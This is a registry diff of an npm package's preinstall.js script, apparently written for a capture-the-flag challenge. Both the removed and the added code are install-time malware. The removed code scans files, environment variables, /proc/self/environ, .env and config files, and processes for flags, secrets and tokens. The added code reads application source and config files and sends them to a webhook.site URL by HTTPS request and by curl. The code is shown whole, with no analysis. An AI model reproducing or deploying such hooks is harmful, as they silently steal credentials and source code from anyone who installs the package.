@ctfsolve9z/coral-wraith 9999.0.1 → 9999.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +45 -154
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,171 +1,62 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
3
|
const { execSync } = require('child_process');
|
|
5
4
|
|
|
6
|
-
let flag = null;
|
|
7
5
|
let debug = [];
|
|
8
6
|
|
|
9
|
-
//
|
|
10
|
-
const
|
|
11
|
-
'/
|
|
12
|
-
'/
|
|
13
|
-
'/
|
|
14
|
-
'/
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
// Method 2: Glob search
|
|
27
|
-
if (!flag) {
|
|
7
|
+
// Read key files
|
|
8
|
+
const filesToRead = [
|
|
9
|
+
'/home/node/supplysec_entry.js',
|
|
10
|
+
'/home/node/aspect-node/config/aspect.config.json',
|
|
11
|
+
'/home/node/aspect-node/index.js',
|
|
12
|
+
'/home/node/aspect-node/sample.js',
|
|
13
|
+
'/home/node/aspect-node/package.json',
|
|
14
|
+
'/home/node/aspect-node/modules/npm-tracker/index.js',
|
|
15
|
+
'/home/node/aspect-node/modules/npm-tracker/fuzz.js',
|
|
16
|
+
'/home/node/aspect-node/modules/npm-tracker/supplysec_entry.js',
|
|
17
|
+
'/home/node/aspect-node/modules/npm-tracker/package.json',
|
|
18
|
+
'/home/node/aspect-node/modules/npm-tracker/src/index.js',
|
|
19
|
+
];
|
|
20
|
+
|
|
21
|
+
for (const f of filesToRead) {
|
|
28
22
|
try {
|
|
29
|
-
const
|
|
30
|
-
debug.push(
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
try {
|
|
34
|
-
const content = fs.readFileSync(f.trim(), 'utf8').trim();
|
|
35
|
-
if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
|
|
36
|
-
flag = content;
|
|
37
|
-
debug.push('flag_from:' + f);
|
|
38
|
-
break;
|
|
39
|
-
}
|
|
40
|
-
} catch(e) {}
|
|
41
|
-
}
|
|
42
|
-
}
|
|
43
|
-
} catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
// Method 3: Environment
|
|
47
|
-
if (!flag) {
|
|
48
|
-
const envKeys = Object.keys(process.env).filter(k =>
|
|
49
|
-
k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
|
|
50
|
-
debug.push('env_keys:' + envKeys.join(','));
|
|
51
|
-
for (const k of envKeys) {
|
|
52
|
-
if (process.env[k] && process.env[k].length > 2) {
|
|
53
|
-
flag = process.env[k];
|
|
54
|
-
debug.push('env:' + k);
|
|
55
|
-
break;
|
|
56
|
-
}
|
|
57
|
-
}
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
// Method 4: Check /proc/self/environ
|
|
61
|
-
if (!flag) {
|
|
62
|
-
try {
|
|
63
|
-
const env = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
64
|
-
const m = env.match(/FLAG[=]([^\x00]+)/);
|
|
65
|
-
if (m) { flag = m[1]; debug.push('proc_env'); }
|
|
66
|
-
// Also look for HTB
|
|
67
|
-
const m2 = env.match(/HTB[{][^\x00}]+[}]/);
|
|
68
|
-
if (m2) { flag = m2[0]; debug.push('proc_htb'); }
|
|
69
|
-
} catch(e) {}
|
|
70
|
-
}
|
|
71
|
-
|
|
72
|
-
// Method 5: Read common app dirs
|
|
73
|
-
if (!flag) {
|
|
74
|
-
const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
|
|
75
|
-
for (const dir of dirs) {
|
|
76
|
-
try {
|
|
77
|
-
const files = fs.readdirSync(dir);
|
|
78
|
-
debug.push(dir + ':' + files.join(','));
|
|
79
|
-
for (const f of files) {
|
|
80
|
-
try {
|
|
81
|
-
const path = dir + '/' + f;
|
|
82
|
-
const stat = fs.statSync(path);
|
|
83
|
-
if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
|
|
84
|
-
const content = fs.readFileSync(path, 'utf8').trim();
|
|
85
|
-
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
86
|
-
flag = content;
|
|
87
|
-
debug.push('content:' + path);
|
|
88
|
-
break;
|
|
89
|
-
}
|
|
90
|
-
}
|
|
91
|
-
} catch(e) {}
|
|
92
|
-
}
|
|
93
|
-
} catch(e) {}
|
|
94
|
-
if (flag) break;
|
|
95
|
-
}
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
// Method 6: Check common web app config files
|
|
99
|
-
if (!flag) {
|
|
100
|
-
const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env',
|
|
101
|
-
'/var/www/.env', '/home/node/.env', '/root/.env',
|
|
102
|
-
'/app/config.js', '/app/config.json', '/opt/app/config.js'];
|
|
103
|
-
for (const p of configPaths) {
|
|
104
|
-
try {
|
|
105
|
-
if (fs.existsSync(p)) {
|
|
106
|
-
const content = fs.readFileSync(p, 'utf8');
|
|
107
|
-
debug.push('config:' + p + '=' + content.substring(0, 200));
|
|
108
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
109
|
-
if (m) { flag = m[0]; break; }
|
|
110
|
-
}
|
|
111
|
-
} catch(e) {}
|
|
23
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
24
|
+
debug.push(`FILE:${f}:${content}`);
|
|
25
|
+
} catch(e) {
|
|
26
|
+
debug.push(`ERR:${f}:${e.message.substring(0, 50)}`);
|
|
112
27
|
}
|
|
113
28
|
}
|
|
114
29
|
|
|
115
|
-
//
|
|
116
|
-
if (!flag) {
|
|
117
|
-
try {
|
|
118
|
-
const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
119
|
-
debug.push('app_js:' + r);
|
|
120
|
-
} catch(e) {}
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
// Method 8: Check running processes
|
|
124
|
-
if (!flag) {
|
|
125
|
-
try {
|
|
126
|
-
const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
|
|
127
|
-
debug.push('ps:' + r.substring(0, 500));
|
|
128
|
-
} catch(e) {}
|
|
129
|
-
}
|
|
130
|
-
|
|
131
|
-
// Exfiltrate
|
|
132
|
-
const data = JSON.stringify({
|
|
133
|
-
flag: flag || 'NOT_FOUND',
|
|
134
|
-
debug: debug.join('|'),
|
|
135
|
-
cwd: process.cwd(),
|
|
136
|
-
user: process.env.USER || process.env.HOME,
|
|
137
|
-
hostname: require('os').hostname()
|
|
138
|
-
});
|
|
139
|
-
|
|
140
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
141
|
-
|
|
142
|
-
// Webhook
|
|
30
|
+
// Also list src directory
|
|
143
31
|
try {
|
|
144
|
-
const
|
|
145
|
-
|
|
32
|
+
const r = execSync('find /home/node/aspect-node/modules/npm-tracker/src -type f 2>/dev/null', { timeout: 5000 }).toString();
|
|
33
|
+
debug.push('SRC_FILES:' + r);
|
|
146
34
|
} catch(e) {}
|
|
147
35
|
|
|
148
|
-
//
|
|
149
|
-
|
|
150
|
-
const
|
|
36
|
+
// Read all .js files in key directories
|
|
37
|
+
try {
|
|
38
|
+
const r = execSync('find /home/node -maxdepth 1 -name "*.js" -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString();
|
|
39
|
+
debug.push('HOME_JS:' + r);
|
|
40
|
+
} catch(e) {}
|
|
151
41
|
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
}
|
|
42
|
+
// Post data
|
|
43
|
+
const data = JSON.stringify({ debug });
|
|
44
|
+
try {
|
|
45
|
+
const req = https.request({
|
|
46
|
+
hostname: 'webhook.site',
|
|
47
|
+
path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
48
|
+
method: 'POST',
|
|
49
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
50
|
+
timeout: 15000
|
|
51
|
+
}, () => {});
|
|
52
|
+
req.on('error', () => {});
|
|
53
|
+
req.write(data);
|
|
54
|
+
req.end();
|
|
55
|
+
} catch(e) {}
|
|
167
56
|
|
|
168
|
-
// Also
|
|
57
|
+
// Also send via curl for larger payloads
|
|
169
58
|
try {
|
|
170
|
-
|
|
59
|
+
const tmpFile = '/tmp/exfil.json';
|
|
60
|
+
fs.writeFileSync(tmpFile, data);
|
|
61
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @${tmpFile} -m 15`, { timeout: 20000 });
|
|
171
62
|
} catch(e) {}
|